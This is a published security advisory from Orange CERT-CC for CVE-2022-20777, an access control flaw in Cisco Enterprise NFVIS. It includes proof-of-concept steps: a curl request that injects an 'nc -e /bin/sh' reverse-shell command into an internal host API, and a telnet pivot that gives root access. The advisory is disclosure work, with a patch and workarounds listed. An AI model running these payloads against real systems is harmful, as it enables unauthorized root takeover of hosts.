orangecertcc / **security-research** Public

Code Pull requests Actions **Security** 35 Insights

# Cisco Enterprise NFVIS - Improper Access Control in NFVIS (CVE-2022-20777)

Critical **orange-cert-cc** published **GHSA-v56f-9gq3-rx3g** on May 6

Package

**NFVIS** (Cisco)

| Affected versions | Patched versions |
|---|---|
| 4.5.1-FC2 | 4.7.1 |

Description

## Overview

NGIO is a special network interface that allows communication between VM (that are supposed to be Cisco VMs) and the host.
It exposes agents that are supposed to forward messages between Cisco components.

## Details

A firewall rules is allowing any IP traffic from 192.168.10.12 (which is supposed to be NGIO peer).
This firewall rule is too permissive.

- NGIO can be configured for non-Cisco virtual machines.
- 192.168.10.0/25 networks can be configured on any interfaces (exposing internal APIs).

It is possible to:

- reach internal APIs and services of the host from the VM
- reach internal APIs and services of the VM from the host

## Proof of Concept

### PoC #1

Configuring a virtual machine with ip address "192.168.10.12" allows root execution on the host:

Step 1: Configuration

```
vm_lifecyvle tenants tenant admin
 deployments deployment ubuntu1
   vm_group ubuntu1
    interfaces interface 0
     network int-mgmt-net
     ip_address 192.168.10.12
…
vm_lifecycle networks network int-mgmt-net
 address 192.168.10.1
 netmask 255.255.255.128
```

Step 2: Prepare reverse shell on VM

```
ubuntu@ubuntu1:~$ nc –lp 4444
```

Step 3: Injection on host internal API from VM

```
ubuntu@ubuntu1:~$ curl http://192.168.10.1:8000/vcpu/availability -H "Content-Type:
application/json" –d '{"vcpu": "|| nc –e /bin/sh 192.168.10.12 4444 &&", "imageID":
"server_lan_ubuntu_prod1.tar.gz", "vnfName": "" }'
```

Result:

```
ubuntu@ubuntu1:~$ nc –lp 4444
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0
```

### PoC #2

Cisco ISRv (with NGIO enabled) compromission from Cisco CLI.

```
encs-audit# curl –post admin telnet://192.168.10.12 –I
Enter host password for user admin: <enter>
…
[VR-ENCS-AUDIT]$ id
uid=0(root) gid=0(root) groups=0(root)
```

## Solution

### Security patch

Upgrade to Cisco Enterprise NFVIS v4.7.1

### Workaround

We recommend to:

- only expose TCP port for cisco agents
- use separated VRF (network namespaces) on both host and VMs for NGIO interfacing
- enable mutual SSL authentication with Cisco certificates

## References

https://nvd.nist.gov/vuln/detail/CVE-2022-20777
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-NFVIS-MUL-7DySRX9

## Credits

Orange CERT-CC
Cyrille CHATRAS at Orange group
Loic RESTOUX at Orange group
Pierre DENOUEL at Orange group

## Timeline

**Date reported:** September 16, 2021
**Date fixed:** May 4, 2022

### Severity

Critical 9.9 / 10

**CVSS base metrics**

| | |
|---|---|
| Attack vector | Network |
| Attack complexity | Low |
| Privileges required | Low |
| User interaction | None |
| Scope | Changed |
| Confidentiality | High |
| Integrity | High |
| Availability | High |

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

### CVE ID

CVE-2022-20777

### Weaknesses

CWE-284